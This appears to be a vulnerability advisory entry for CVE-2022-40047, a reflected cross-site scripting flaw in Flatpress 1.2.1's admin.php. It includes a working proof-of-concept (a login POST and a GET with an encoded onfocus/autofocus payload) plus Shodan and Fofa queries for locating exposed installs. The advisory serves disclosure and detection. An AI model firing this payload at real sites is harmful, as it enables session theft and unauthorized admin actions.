| Title | Flatpress < v1.2.1 - Cross Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Authenticated attackers can inject malicious JavaScript through the page parameter in admin.php that executes in other users' browsers, potentially stealing session tokens or performing unauthorized actions in Flatpress blog administration. |
| Remediation | Update Flatpress to a version later than 1.2.1 that properly sanitizes and encodes the page parameter in admin.php. |
| CVSS Score | 5.4 |
| EPSS Score | 0.19551 |
| CVE ID | CVE-2022-40047 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"flatpress"http.favicon.hash:-1189292869 |
| Fofa Query | body="flatpress"icon_hash=-1189292869 |
| Tags | cve cve2022 flatpress authenticated xss intrusive vuln |
Flatpress v1.2.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the page parameter at /flatpress/admin.php.
POST /login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 336
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxamj3sefkjmgkqgt
Accept-Encoding: gzip
------WebKitFormBoundaryxamj3sefkjmgkqgt
Content-Disposition: form-data; name="user"
LnNphF
------WebKitFormBoundaryxamj3sefkjmgkqgt
Content-Disposition: form-data; name="pass"
9XE5Fq
------WebKitFormBoundaryxamj3sefkjmgkqgt
Content-Disposition: form-data; name="submit"
Login
------WebKitFormBoundaryxamj3sefkjmgkqgt--
GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.domain%29%22autofocus%3d%22zr4da HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40047.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-40047.pcap
N/AN/A